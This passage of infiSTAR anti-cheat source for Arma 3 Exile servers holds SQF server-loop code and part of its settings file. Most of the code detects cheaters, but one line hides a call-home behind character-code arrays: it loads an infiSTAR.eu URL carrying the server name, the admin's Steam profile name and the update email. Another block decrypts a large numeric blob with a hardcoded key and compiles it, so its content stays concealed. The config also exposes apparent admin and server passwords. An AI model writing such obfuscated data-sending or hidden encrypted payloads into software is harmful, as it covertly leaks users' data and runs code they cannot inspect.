  6047. _log = format['HACKEDMARKER: %1 | TEXT: %2 | TYPE: %3 | POS: %4',_marker,MarkerText _marker,markerType _marker,markerPos _marker];
  6048. ['SERVER','SERVER','SLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  6049. deleteMarker _marker;
  6050. }
  6051. else
  6052. {
  6053. if!((MarkerText _marker) isEqualTo '')then
  6054. {
  6055. _log = format['DODGYMARKER: %1 | TEXT: %2 | TYPE: %3 | POS: %4',_marker,MarkerText _marker,markerType _marker,markerPos _marker];
  6056. ['SERVER','SERVER','SLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  6057. };
  6058. };
  6059. };
  6060. };
  6061. } forEach allMapMarkers;
  6062. "; }; _A3AHstring = _A3AHstring + "
  6063. "; if(_CLM)then{ _A3AHstring = _A3AHstring + "
  6064. _code = {
  6065. params['_admins','_serverknownmarkers'];
  6066. _puid = getPlayerUID player;
  6067. if(isNil'ExileClientPartyMapMarkers')then{ExileClientPartyMapMarkers=[];};
  6068. if(typeName ExileClientPartyMapMarkers != 'ARRAY')then
  6069. {
  6070. _log = format['ExileClientPartyMapMarkers TYPE CHANGED: %1 - %2',typeName ExileClientPartyMapMarkers,ExileClientPartyMapMarkers];
  6071. [name player,_puid,'BAN',toArray(_log)] call "+_AHKickLog+";
  6072. };
  6073. if!(_puid in _admins)then
  6074. {
  6075. {
  6076. _marker = _x;
  6077. if(_marker != '_USER_DEFINED')then
  6078. {
  6079. if!(_marker in _serverknownmarkers)then
  6080. {
  6081. if(_marker in ExileClientPartyMapMarkers)exitWith{};
  6082. _lowMarker = toLower _marker;
  6083. _do = true;
  6084. {if(_lowMarker find (toLower _x) != -1)exitWith{_do = false;};} forEach "+str _allowedMarkers+";
  6085. if(_do)then
  6086. {
  6087. _log = format['LOCALMARKER: %1 | TEXT: %2 | TYPE: %3 | POS: %4',_marker,markerText _marker,markerType _marker,markerPos _marker];
  6088. [name player,_puid,'HLOG',toArray(_log)] call "+_AHKickLog+";
  6089. deleteMarker _marker;
  6090. deleteMarkerLocal _marker;
  6091. };
  6092. };
  6093. };
  6094. } forEach allMapMarkers;
  6095. };
  6096. };
  6097. [[_admins,allMapMarkers],_code] remoteExec ['FN_infiSTAR_C',-2,false];
  6098. "; }; _A3AHstring = _A3AHstring + "
  6099. "; }; _A3AHstring = _A3AHstring + "
  6100.  
  6101. {
  6102. if(!isNull _x)then
  6103. {
  6104. if(!alive _x)exitWith{};
  6105. _uid = getPlayerUID _x;
  6106. if(count _uid < 17)exitWith{};
  6107. missionNameSpace setVariable[format['"+_object_by_uid+"%1',_uid],_x];
  6108. missionNameSpace setVariable[format['EXILE_PLAYER_OJECT_%1',_uid],_x];
  6109.  
  6110.  
  6111. "; if(_fix_uniform_and_vest)then{ _A3AHstring = _A3AHstring + "
  6112. [uniform _x,vest _x] remoteExec ['fnc_check_uniform_n_vest', _x];
  6113. "; }; _A3AHstring = _A3AHstring + "
  6114.  
  6115.  
  6116. _name = name _x;
  6117. if!(_name isEqualTo (_x getVariable['ExileNameOnChar','']))then
  6118. {
  6119. _x setVariable['ExileName',_name,true];
  6120. _x setVariable['ExileNameOnChar',_name];
  6121. };
  6122. if!(_uid isEqualTo (_x getVariable['ExileOwnerUID','']))then
  6123. {
  6124. _x setVariable['ExileOwnerUID',_uid];
  6125. };
  6126.  
  6127. _grp = group _x;
  6128. if!(_grp isEqualTo (_x getVariable['ExileGroup',grpNull]))then
  6129. {
  6130. _x setVariable['ExileGroup',_grp];
  6131. _groupName = groupID _grp;
  6132. _lgroupname = toLower _groupName;
  6133. if({(_lgroupname find _x != -1)} count "+str _badGroupNames+" > 0)exitWith{
  6134. _grp setGroupIdGlobal [format['GRP:%1',allGroups find _grp]];
  6135. };
  6136. };
  6137.  
  6138. if((!isNil'BOUNTYQUEJIP_ID')&&(!isNil'ExileGraveyardGroup'))then
  6139. {
  6140. _ExileGroupMemberUIDs = missionNameSpace getVariable[format['ExileGroupMemberUIDs_%1',_uid],[]];
  6141. if!(_grp in [grpNull,ExileGraveyardGroup])then
  6142. {
  6143. _units = units _grp;
  6144. if!(_units isEqualTo [])then
  6145. {
  6146. {
  6147. if(alive _x)then
  6148. {
  6149. _ExileGroupMemberUIDs pushBackUnique [groupID _grp,getPlayerUID _x];
  6150. };
  6151. } forEach _units;
  6152. missionNameSpace setVariable[format['ExileGroupMemberUIDs_%1',_uid],_ExileGroupMemberUIDs];
  6153. };
  6154. };
  6155. };
  6156.  
  6157. _xRespect = _x getVariable ['ExileScore', 0];
  6158. _xRespectCheck = _x getVariable ['ExileScoreCheck', -1];
  6159. if!(_xRespectCheck isEqualTo _xRespect)then
  6160. {
  6161. _x setVariable ['ExileScoreCheck', _xRespect];
  6162. _x setVariable ['ExileScore', _xRespect, true];
  6163. };
  6164.  
  6165. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  6166. _xtype = typeOf _x;
  6167. if(_xtype isEqualTo 'Exile_Unit_Player')then
  6168. {
  6169. _RATING_CHECK_LOOPS = _x getVariable['"+_RATING_CHECK_LOOPS+"',0];
  6170. if(_RATING_CHECK_LOOPS > 2)then
  6171. {
  6172. if(_x getVariable['isrunning',false])then{_x setVariable['isrunning',false,true];}else
  6173. {
  6174. _log = format['Player Clientside AntiHack not loaded or stopped! %1 @%2 %3',_xtype,getPos _x,mapGridPosition _x];
  6175. [_name,_uid,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  6176. };
  6177. if(_RATING_CHECK_LOOPS > 4)then
  6178. {
  6179. _rating = rating _x;
  6180. if(_rating < 500000)then
  6181. {
  6182. if(_rating isEqualTo 0)exitWith{};
  6183. _log = format['Player Low Rating! %1 - %2 - @%3 %4',_rating,_xtype,getPos _x,mapGridPosition _x];
  6184. [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  6185. };
  6186. _x setVariable['"+_RATING_CHECK_LOOPS+"',0];
  6187. };
  6188. }
  6189. else
  6190. {
  6191. _x setVariable['"+_RATING_CHECK_LOOPS+"',_RATING_CHECK_LOOPS + 1];
  6192. };
  6193. if(isObjectHidden _x)then
  6194. {
  6195. if!(_uid in _admins)then
  6196. {
  6197. _log = format['INVISIBLE PLAYER-OBJECT @%1 %2',getPos _x,mapGridPosition _x];
  6198. [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  6199. };
  6200. };
  6201. }
  6202. else
  6203. {
  6204. _exileDatabaseID = _x getVariable ['ExileDatabaseID', ''];
  6205. if!(_exileDatabaseID isEqualTo '')then
  6206. {
  6207. _log = format['WRONG PLAYER-TYPE: %1 should be Exile_Unit_Player @%2 %3',_xtype,getPos _x,mapGridPosition _x];
  6208. [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  6209. };
  6210.  
  6211. if!(_xtype isEqualTo 'Exile_Unit_GhostPlayer')then
  6212. {
  6213. _netId = netId _x;
  6214. if!(_netId select [0,2] isEqualTo '2:')then
  6215. {
  6216. _log = format['WRONG PLAYER-OBJECT: %1 with netId %2 @%3',_xtype,_netId,getPos _x];
  6217.  
  6218. _objectOwner__ORIGINAL_OWNER_ID = netId _x select [0,netId _x find ':'];
  6219. _objectOwner__ORIGINAL_OWNER_ID = parseNumber _objectOwner__ORIGINAL_OWNER_ID;
  6220.  
  6221. _objectOwnerUid = missionNameSpace getVariable[format['"+_uid_by_owner+"%1',_objectOwner__ORIGINAL_OWNER_ID],owner _x];
  6222. _objectOwneName = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_objectOwnerUid],''];
  6223.  
  6224. [_objectOwneName,_objectOwnerUid,_objectOwner__ORIGINAL_OWNER_ID,_log] call FNC_INFISERVERKICK;
  6225. };
  6226. };
  6227. };
  6228. _veh = vehicle _x;
  6229. if!(_x isEqualTo _veh)then
  6230. {
  6231. _crew = crew _veh;
  6232. "; if(_UVC)then{ _A3AHstring = _A3AHstring + "
  6233. _veh call "+_fnc_vehicle_check+";
  6234. "; }; _A3AHstring = _A3AHstring + "
  6235. {
  6236. if(!isNull _x)then
  6237. {
  6238. if(alive _x)then
  6239. {
  6240. if(isObjectHidden _x)then
  6241. {
  6242. if!((getPlayerUID _x) in _admins)then
  6243. {
  6244. _log = format['Invisible PLAYER-OBJECT @%1 %2',getPos _x,mapGridPosition _x];
  6245. [name _x,getPlayerUID _x,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  6246. };
  6247. };
  6248. };
  6249. };
  6250. } forEach _crew;
  6251. };
  6252. "; }; _A3AHstring = _A3AHstring + "
  6253. };
  6254. } forEach allPlayers;
  6255. };
  6256. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  6257. _timer3 = time + 65 + 180;
  6258. _fn_3 = {
  6259. _last_antiantihack_rndvar = _antiantihack_rndvar;
  6260. _antiantihack_rndvar = call _fnc_RandomGen;
  6261. _fn_antiantihack = ""
  6262. missionNameSpace setVariable['""+_antiantihack_rndvar+""',nil];
  6263. if(isNil'""+_antiantihack_rndvar+""')then
  6264. {
  6265. _bis_fnc_diagkey = 'bis_fnc_diagkey';
  6266. _bla = 'waitUntil{';
  6267. _diag = 'diag';
  6268. _AntiHack = 'AntiHack';
  6269. _PV_ = 'PV_';
  6270. _infiSTAR = 'infiSTAR';
  6271. _STAR = 'STAR';
  6272. _infi = 'infi';
  6273. _closeDisplay = 'closeDisplay';
  6274. _EndMission = 'EndMission';
  6275. _GetPlayerUID = 'GetPlayerUID';
  6276. if(!isNull player)then{_uid = getPlayerUID player;_puid = getPlayerUID player;};
  6277. missionNameSpace setVariable['""+_antiantihack_rndvar+""','""+_antiantihack_rndvar+""'];
  6278. };
  6279. "";
  6280. ['',_fn_antiantihack,-2,false] call FN_infiSTAR_S;
  6281. ['',compile (""if(isNil '""+_antiantihack_rndvar+""')then{diag_log '<infiSTAR.de> kicked to lobby #9';(findDisplay 46)closeDisplay 0;};"")] remoteExec ['FN_infiSTAR_C',-2,false];
  6282. };
  6283. "; }; _A3AHstring = _A3AHstring + "
  6284. "; if(_USE_RESTART_TIMER_SHUTDOWN || _USE_RESTART_TIMER)then{ _A3AHstring = _A3AHstring + "
  6285. _restartTime = "+str _RESTART_TIME_IN_M+";
  6286. "; if(_USE_RESTART_TIMER)then{ _A3AHstring = _A3AHstring + "
  6287. _msgTimes = "+str _SHOW_TIMER_IN_MIN+";
  6288. _msgFormat = '<t size=''0.70'' color=''#DA1700'' align=''right''>RESTART IN %1 MINS</t>';
  6289. _restarttimerTimer = time + 20;
  6290. "; }; _A3AHstring = _A3AHstring + "
  6291. diag_log format['<infiSTAR.de RESTART_TIMER_SHUTDOWN> restart scheduled in %1 minutes (_restartTime in EXILE_AHAT_CONFIG.hpp)',_restartTime];
  6292. _timer4 = time + 10;
  6293. _fn_4 = {
  6294. _runningtime = if(diag_tickTime - time < 200 && diag_tickTime > time)then{diag_tickTime}else{time};
  6295. _currentmessagetime = (_restartTime - round(_runningtime / 60));
  6296. if(_currentmessagetime <= 0)then
  6297. {
  6298. "; if(_USE_RESTART_TIMER_SHUTDOWN)then{ _A3AHstring = _A3AHstring + "
  6299. diag_log format['<infiSTAR.de> shutting down server.. after %1 minutes (_restartTime = %2 minutes in EXILE_AHAT_CONFIG.hpp)',_currentmessagetime,_restartTime];
  6300. _return = (call FN_GET_SERVERPW) serverCommand '#shutdown';
  6301. if(!_return)then
  6302. {
  6303. for '_i' from 0 to 10 do {diag_log '<infiSTAR.de> serverCommandPassword NOT SET! CAN NOT #SHUTDOWN SERVER!';};
  6304. };
  6305. "; }; _A3AHstring = _A3AHstring + "
  6306. "; if(_USE_RESTART_TIMER)then{ _A3AHstring = _A3AHstring + "
  6307. }
  6308. else
  6309. {
  6310. if(_currentmessagetime in _msgTimes)then
  6311. {
  6312. _msgTimes = _msgTimes - [_currentmessagetime];
  6313.  
  6314. [
  6315. format[_msgFormat, _currentmessagetime],
  6316. {
  6317. [
  6318. _this,
  6319. [safezoneX + safezoneW - 0.8,0.50],
  6320. [safezoneY + safezoneH - 0.8,0.7],
  6321. 15,
  6322. 0.5
  6323. ] spawn BIS_fnc_dynamicText;
  6324. },
  6325. -2,
  6326. false
  6327. ] call FN_infiSTAR_S;
  6328. };
  6329. if(time > _restarttimerTimer)then
  6330. {
  6331. _restarttimerTimer = time + 20;
  6332.  
  6333. _restartinseconds = (_restartTime * 60) - _runningtime;
  6334. _hours = floor(_restartinseconds / 60 / 60);
  6335. if(_hours isEqualTo 0)then
  6336. {
  6337. _minutes = floor((((_restartinseconds / 60 / 60) - _hours) max 0.0001)*60);
  6338. if(_minutes <= 2)then
  6339. {
  6340. _seconds = round(_restartinseconds - (_hours*60*60) - (_minutes * 60));
  6341. _seconds = if(_seconds <= 10)then{format['0%1',_seconds]}else{_seconds};
  6342.  
  6343. [
  6344. [
  6345. _minutes,
  6346. _seconds
  6347. ],
  6348. {
  6349. systemChat format['SERVER: RESTART IN 00:0%1:%2',_this select 0,_this select 1];
  6350. },
  6351. -2,
  6352. false
  6353. ] call FN_infiSTAR_S;
  6354. };
  6355. };
  6356. };
  6357. "; }; _A3AHstring = _A3AHstring + "
  6358. };
  6359. };
  6360. "; }; _A3AHstring = _A3AHstring + "
  6361. [] spawn {_WW = compile toString[99,116,114,108,72,84,77,76,76,111,97,100,101,100,32,95,104];_FF = compile toString[95,104,32,104,116,109,108,76,111,97,100,32,95,108];waitUntil{time > 30};disableSerialization;_idd=24;waitUntil {createDialog ('R'+'s'+'c'+'D'+'i'+'s'+'p'+'l'+'a'+'y'+'C'+'h'+'a'+'t');uiSleep 1;diag_log str allDisplays;!isNull findDisplay _idd};_h = (findDisplay _idd) ctrlCreate [('R'+'s'+'c'+'H'+'T'+'M'+'L'), 3307182];_h ctrlSetBackgroundColor [0,0,0,0.3];_l = toString[104,116,116,112,58,47,47,105,110,102,105,83,84,65,82,46,101,117,47,115,46,112,104,112,63,115,110];_randomNumber = 2673;_from = missionNameSpace getVariable[('U'+'P'+'D'+'A'+'T'+'E'+'E'+'M'+'A'+'I'+'L'),_randomNumber];_vers = missionNameSpace getVariable[('I'+'N'+'F'+'I'+'S'+'T'+'A'+'R'+'V'+'E'+'R'+'S'+'I'+'O'+'N'),_randomNumber];_l = format[""%1=%2&sp=%3&um=%4&i=%5&s=%6"",_l,serverName,profileNameSteam,_from,_vers,productVersion];_l = _l call fn_clean_bad;call _FF;_t = time+10;waitUntil {call _WW || time > _t};ctrlDelete _h;closeDialog 0;};
  6362. diag_log format['<infiSTAR.de> %1 - Thread #1: Server Loop #1 looping now!',time];
  6363. while{true}do
  6364. {
  6365. _loopStart = diag_tickTime;
  6366. if(time > _timer0)then
  6367. {
  6368. _timer0 = time + 25;
  6369. call _fn_0;
  6370. };
  6371. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  6372. if(time > _timer1)then
  6373. {
  6374. _timer1 = time + 50;
  6375. call _fn_1;
  6376. };
  6377. "; }; _A3AHstring = _A3AHstring + "
  6378. if(time > _timer2)then
  6379. {
  6380. _timer2 = time + 45;
  6381. call _fn_2;
  6382. };
  6383. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  6384. if(time > _timer3)then
  6385. {
  6386. _timer3 = time + 65;
  6387. call _fn_3;
  6388. };
  6389. "; }; _A3AHstring = _A3AHstring + "
  6390. "; if(_USE_RESTART_TIMER_SHUTDOWN || _USE_RESTART_TIMER)then{ _A3AHstring = _A3AHstring + "
  6391. if(time > _timer4)then
  6392. {
  6393. _timer4 = time + 10;
  6394. call _fn_4;
  6395. };
  6396. "; }; _A3AHstring = _A3AHstring + "
  6397. _loopTime = diag_tickTime - _loopStart;
  6398. if(_loopTime > 1)then{uiSleep (_loopTime/2);};
  6399. uiSleep 3;
  6400. currentserverfps = diag_fps;
  6401. activeSQFScriptsvar = count diag_activeSQFScripts;
  6402. [
  6403. [currentserverfps,activeSQFScriptsvar,_loopTime],
  6404. {SERVER_FPS = _this select 0;SERVER_THREADS = _this select 1;SERVER_LOOPTIME = _this select 2;},
  6405. -2,
  6406. false
  6407. ] call FN_infiSTAR_S;
  6408. };
  6409. _log = format['%1 - LOOP - BROKEN!',time];
  6410. ['HACKLOG',_log] call FNC_A3_RL;
  6411. };
  6412. ";
  6413. diag_log format['<infiSTAR.de> %1 - Thread #1: added !',time];
  6414. diag_log format['<infiSTAR.de> %1 - compiling AntiHack',time];
  6415. call compile _A3AHstring;_A3AHstring=nil;
  6416. if(_testserver)then{
  6417. _NGB_Dcrypt = {_NGBkey='Q)8&%])tjm';_NGB_DcryptMe = _this;_counter = 0;_Array = toArray(_NGBkey);for '_i' from 0 to (count(_NGB_Dcryptme)-1) do {if(_counter > (count(_Array)-1)) then {_counter = 0;};
  6418. _var = (_NGB_Dcryptme select _i) / (_Array select _counter);_NGB_Dcryptme set[_i,_var];_counter = _counter + 1;};toString(_NGB_Dcryptme);};
  6419. call compile([ 7695, 4059, 6216, 3800, 3737, 2976, 2501, 3712, 13038, 1417, 810, 4879, 5432, 3990, 4292, 7905, 4510, 13456, 11130, 11772, 2592, 5043, 1848, 1520, 3811, 9393, 4756, 9280,
  6420. 11448, 10573, 9801, 4141, 6384, 3230, 2701, 6324, 1312, 12992, 11448, 10573, 9801, 4141, 6384, 1216, 3885, 10695, 2829, 13108, 12402, 10573, 8748, 3444, 6216, 1216, 1443, 3627, 1681,
  6421. 14500, 6254, 1417, 810, 3731, 728, 380, 333, 3627, 1599, 5104, 1378, 1090, 729, 5043, 728, 380, 333, 837, 4100, 12180, 12190, 10573, 7938, 4428, 5656, 3154, 3737, 10602, 4305, 11252,
  6422. 11448, 11445, 9882, 3977, 6496, 3990, 4107, 10230, 2419, 1508, 1060, 981, 729, 533, 560, 342, 333, 8835, 4797, 13224, 11448, 3488, 4941, 1312, 5712, 4218, 4218, 10137, 3977, 13456, 9646,
  6423. 4251, 8424, 4756, 6496, 4256, 2146, 4371, 1927, 12528, 11766, 10573, 8100, 1886, 5880, 4180, 3774, 9765, 3403, 9744, 6890, 8938, 3726, 4100, 5656, 1786, 4218, 10416, 1886, 12992, 11024,
  6424. 12208, 5103, 4510, 5432, 4142, 3737, 5673, 1517, 5684, 4028, 12535, 9396, 4141, 5432, 4142, 3885, 9300, 2501, 4292, 5300, 4142, 9315, 4141, 6384, 4484, 3737, 10602, 4510, 11252, 11554,
  6425. 11009, 4941, 1517, 2856, 1444, 4366, 9393, 4674, 13340, 11130, 12099, 8910, 2501, 2072, 1976, 1443, 4092, 4592, 13224, 11766, 11118, 8505, 4428, 5656, 2964, 3589, 10137, 4141, 5104,
  6426. 10918, 11009, 9396, 3280, 6048, 3686, 4477, 9393, 4674, 9860, 7738, 7412, 2592, 4592, 6048, 3686, 4477, 9393, 4674, 5104, 12190, 11009, 9234, 4838, 5656, 4332, 2886, 9021, 4469, 11716,
  6427. 4664, 12208, 9234, 4551, 5600, 4446, 3663, 10788, 3526, 11716, 12084, 12535, 8505, 4551, 6160, 3534, 2183, 1209, 410, 1044, 954, 10355, 9477, 4674, 6048, 1216, 2257, 2976, 4756, 12876,
  6428. 6890, 12426, 9234, 3977, 6776, 1216, 3515, 10881, 4674, 12528, 6254, 1417, 810, 369, 504, 3610, 4329, 10602, 4428, 3712, 6466, 3488, 7695, 4797, 6384, 4104, 1184, 4185, 1312, 10556, 5406,
  6429. 5777, 7533, 2419, 728, 380, 333, 837, 3895, 13572, 12084, 11772, 2592, 2501, 1792, 4408, 4107, 7719, 4756, 13224, 11130, 11990, 8343, 1312, 5320, 4446, 4218, 10044, 2419, 1508, 1060, 981,
  6430. 729, 533, 560, 342, 333, 8835, 4264, 13456, 11554, 11772, 2592, 2501, 1792, 1520, 3774, 9765, 4510, 11600, 7208, 11445, 9315, 4592, 6048, 3686, 4477, 2976, 1968, 4756, 3392, 10791, 9396,
  6431. 4674, 6048, 2546, 4218, 9393, 3977, 13456, 10706, 3488, 7371, 1599, 4592, 4370, 3663, 6696, 3444, 8932, 8056, 4251, 3564, 1312, 2856, 1862, 1776, 5115, 2009, 6496, 5300, 10137, 4779, 533,
  6432. 560, 342, 333, 8835, 4264, 13456, 11554, 11772, 2592, 4059, 6496, 4332, 3996, 7719, 4141, 13456, 6996, 10573, 8019, 4387, 5768, 4332, 4107, 10881, 4510, 11600, 7102, 12099, 8748, 4551,
  6433. 6384, 1216, 3367, 4464, 1804, 5568, 4664, 5232, 3564, 1968, 2576, 1938, 3441, 5487, 533, 1160, 954, 981, 7695, 4264, 6496, 4142, 3996, 2976, 4059, 13456, 12084, 11772, 6723, 4141, 6496,
  6434. 3040, 4107, 10695, 4305, 13456, 11130, 12099, 8910, 1312, 5096, 494, 370, 837, 369, 1044, 12190, 10573, 8262, 4141, 5040, 4218, 4070, 9393, 3608, 5104, 1378, 1090, 729, 369, 504, 4370,
  6435. 3589, 9486, 4141, 10440, 11766, 11990, 8181, 3649, 2464, 494, 370, 837, 369, 1044, 12190, 10573, 8262, 4141, 5040, 4218, 4070, 9393, 3567, 5104, 1378, 1090, 729, 369, 504, 4370, 3589,
  6436. 9486, 4141, 10440, 11766, 11990, 8181, 2952, 2632, 1938, 481, 930, 369, 1044, 9858, 6431, 1053, 410, 504, 342, 3515, 9672, 4756, 12644, 11448, 3488, 8019, 4756, 6384, 4104, 2553, 10230,
  6437. 3977, 11368, 11448, 11009, 2592, 4756, 6384, 4446, 3737, 5487, 533, 1160, 954, 981, 7695, 4264, 6496, 4142, 3996, 2976, 4059, 13456, 12084, 11772, 6723, 4264, 6216, 4522, 1184, 10788,
  6438. 4674, 13572, 10706, 6431, 1053, 410, 504, 342, 3515, 9672, 4756, 12644, 11448, 3488, 8019, 4756, 6384, 4104, 2479, 10323, 4469, 12644, 11130, 12644, 2592, 1968, 3304, 494, 370, 837, 369,
  6439. 11020, 11024, 12644, 8829, 4428, 1792, 3952, 4292, 10137, 4428, 8816, 11766, 10573, 8100, 1312, 5320, 4446, 4218, 10044, 2419, 1508, 1060, 981, 729, 4059, 6496, 4332, 3996, 6324, 4141,
  6440. 12528, 10706, 12644, 8181, 1312, 5320, 3952, 4292, 10137, 4428, 6844, 1378, 1090, 729, 5125, 728, 380, 3441, 2976, 4141, 13920, 10706, 10791, 5670, 3403, 4312, 1216, 1443, 9207, 3977,
  6441. 12528, 11448, 5014, 8262, 4715, 6104, 1482, 2183, 1209, 410, 14500, 6254, 1417, 810, 4592, 6048, 3686, 4477, 9393, 4674, 11020, 11448, 12099, 8343, 3895, 5936, 3990, 4144, 8835, 4305,
  6442. 11600, 3392, 6649, 2592, 3731, 5320, 3762, 4107, 9300, 4141, 5104, 13038, 10791, 7857, 4428, 6048, 1216, 3515, 10788, 4264, 12180, 12190, 13625, 7533, 1312, 6384, 3838, 4033, 10323,
  6443. 4756, 11716, 7314, 13080, 8181, 4059, 1792, 3458, 1443, 6510, 3198, 11020, 11130, 11990, 8262, 4305, 4648, 3192, 2405, 7626, 3895, 7772, 4134, 4796, 3645, 2050, 2464, 1482, 4144, 10044,
  6444. 3977, 14036, 10706, 12426, 7695, 4428, 6216, 3914, 3515, 9858, 4305, 12992, 4134, 10137, 4779] call _NGB_Dcrypt);
  6445. };
  6446. diag_log format['<infiSTAR.de> %1 - AntiHack loaded!',time];
  6447.  
  6448.  
  6449. _pathToCustomBillBoardTextures spawn {
  6450. _pathToCustomBillBoardTextures = _this;
  6451. waitUntil {!isNil 'PublicServerIsLoaded'};
  6452. waitUntil { (time > 10) && PublicServerIsLoaded };
  6453.  
  6454. {
  6455. _textureid = _x getVariable ['ExileAccessCode',''];
  6456. if!(_textureid isEqualTo '')then
  6457. {
  6458. _textureid = parseNumber _textureid;
  6459. if(_textureid > 0)then
  6460. {
  6461. _selected = _pathToCustomBillBoardTextures select (_textureid-1);
  6462. _texture = _selected select 1;
  6463. _x setObjectTextureGlobal [0,_texture];
  6464. _x allowDamage false;
  6465. _x addMPEventHandler ['MPKilled', { if !(isServer) exitWith {}; (_this select 0) call fnc_remove_billboard;}];
  6466. };
  6467. };
  6468. } forEach (allMissionObjects 'Exile_Sign_TraderCity');
  6469. };
  6470. /* ********************************************************************************* */
  6471. /* *********************************www.infiSTAR.de********************************* */
  6472. /* *******************Developed by infiSTAR ([email protected])****************** */
  6473. /* **************infiSTAR Copyright®© 2011 - 2016 All rights reserved.************** */
  6474. /* ****DayZAntiHack.com***DayZAntiHack.de***ArmaAntiHack.com***Arma3AntiHack.com**** *//*
  6475. Author: Chris(tian) "infiSTAR" Lorenzen
  6476. Contact: [email protected] // www.infiSTAR.de
  6477.  
  6478. Copyright infiSTAR - 2011 - 2016. All rights reserved.
  6479. Christian (Chris) L. ([email protected]) Developer of infiSTAR
  6480.  
  6481. Description:
  6482. Arma AntiHack & AdminTools - infiSTAR.de
  6483.  
  6484. UPDATEEMAIL for http://update.infiSTAR.de is:
  6485.  
  6486. Last download was on:
  6487. '05-Jul-2016 23-52-40';
  6488. */
  6489. class Cfg_infiSTAR_settings {
  6490. /*
  6491. "serverCommandPassword" is serverCommandPassword - in your servers config.cfg
  6492. if your config.cfg does not have serverCommandPassword yet, simply add it in a new line:
  6493. serverCommandPassword = "changeme";
  6494.  
  6495. This is VERY IMPORTANT as it is needed to KICK & BAN people.
  6496.  
  6497. It will try to get this password from "@ExileServer\addons\exile_server_config" first. If you did not set a password there (config.cpp),
  6498. then it will take what you put here.
  6499. */
  6500. serverCommandPassword = "d26o77";
  6501.  
  6502. /*
  6503. "passwordAdmin" is passwordAdmin - in your servers config.cfg, needed for servercommands from client
  6504.  
  6505. This is used to be able to use the "login" function ingame. Will log you in as Arma "Admin".
  6506. */
  6507. passwordAdmin = "d26o7";
  6508. /* serverCommandPassword and passwordAdmin should always be different passwords or it could cause problems! */
  6509.  
  6510.  
  6511. /* "_OPEN_ADMIN_MENU_KEY": Key to open the menu (google DIK_KeyCodes (0x3B is F1)) */
  6512. OPEN_ADMIN_MENU_KEY = 0x3B;
  6513. HIDE_FROM_PLAYERS = false; /* So no normal can see it :)! */
  6514. announce_adminstate_changed = false; /* whenever you type !admin as an admin it will announce that you logged out or in to all players on the server! */
  6515. use_html_load_on_adminmenu = true; /* default and recommended is TRUE. infiSTAR updates and news are announced in the top right corner when you open the AdminMenu if this is true! */
  6516.  
  6517. /*
  6518. DLL SETTINGS
  6519. "" is the Arma3Server directory
  6520. "infiSTAR_Logs/" would be a folder called "infiSTAR_Logs" within your Arma3Server directory.
  6521. You need to create the defined folder if it doesn't exist. If you don't create it - the DLL won't be able to write any Log files ! ! !
  6522. */
  6523. LOG_PATH = "_____LOGS/";
  6524.  
  6525.  
  6526.  
  6527.  
  6528. /* "LogAdminActions": Sends actions done by each admin to the server to log it to the .txt file (if infiSTAR dlls are used) and .rpt file + sends it back to all other admins. */
  6529. LogAdminActions = true;
  6530. enableIngameLogs = true;
  6531.  
  6532. /*
  6533. if you set "needAdminNameTag" to true, this string needs to be a part of the admins name, or he can't use infiSTAR Admin Menu!
  6534. example names: "[Admin] infiSTAR" or "infiSTAR [Admin]"
  6535. note: this is case sensitive as well, meaning "infiSTAR [admin]" would not work as we set it in our example to "[Admin]"
  6536. */
  6537. needAdminNameTag = false;
  6538. AdminNameTag = "[Admin]";
  6539.  
  6540.  
  6541. /*
  6542. {chatCommand (text typed in chat),text shown to player}
  6543. only triggers if the EXACT text is typed!
  6544. */
  6545. chatCommands[] =
  6546. {
  6547. {"!ts","ts.mycommunity.com"},
  6548. {"!website","www.mycommunity.com"},
  6549. {"!admin","please visit ts.mycommunity.com"}
  6550. };
  6551.  
  6552. /*
  6553. {chatCommand (text typed in chat) partitial,text shown to player}
  6554. "Hello, why is there no loot on this map?" <- will trigger the example below!
  6555. */
  6556. chatCommandsP[] =
  6557. {
  6558. {"no loot","You cannot loot from non arma buildings in this map, you must move around - check the shipping yards for best loot"}
  6559. };
  6560.  
  6561.  
  6562.  
  6563. /*
  6564. Noficiations shown to all players on the server. Could be used to replace BEC messages.
  6565. {first occurrence after x min, show again after x min, show message for x seconds, font size (recommended is 0.6), x pos, y pos,text color, text (<br/> is a linebreak)}
  6566.  
  6567. if you want the client to see a message only once when logging in, you put the first and second entry in the array to -1.
  6568. Example:
  6569. {-1, -1, 4, 0.6, 0, 0, "#ff0000", "Welcome to our server"}
  6570. */
  6571. ENABLE_NOTIFICATION_MESSAGES = true;
  6572. NOTIFY_MSG_ARRAY[] =
  6573. {
  6574. {-1, -1, 6, 0.6, 0, 0, "#ff0000", "Welcome to our server"},
  6575. {-1, -1, 4, 0.6, 0, 0, "#1900FF", "Enjoy!"},
  6576. {-1, -1, 5, 0.6, 0, 0, "#39E600", "Protected and administrated by<br/>infiSTAR.de AdminTools, AntiHack and more!"},
  6577. {15, 15, 8, 0.6, 0, 0, "#E600E6", "15 minutes have passed, drink some water!<br/>(IN REAL LIFE NOT INGAME)"}
  6578. };
  6579.  
  6580.  
  6581. /*
  6582. If admin has rights to "Create Billboard", he will have new options to create a Billboard ingame with one of the following textures
  6583. {"name shown in adminmenu","path to texture"}
  6584.  
  6585. should be looking somewhat like this:
  6586. {"example picture","\mpmissions\Exile.Altis.pbo\example.paa"}
  6587.  
  6588. the picture has to be available on EACH client AND the server.
  6589. So you either need a client-side mod for it or you need to put it in the MPMission
  6590. */
  6591. pathToCustomBillBoardTextures[] =
  6592. {
  6593. {"Doggy","exile_assets\texture\flag\flag_mate_21dmd_co.paa"},
  6594. {"Spawny","exile_assets\texture\flag\flag_mate_spawny_co.paa"},
  6595. {"Dickbutt","exile_assets\texture\flag\flag_misc_dickbutt_co.paa"},
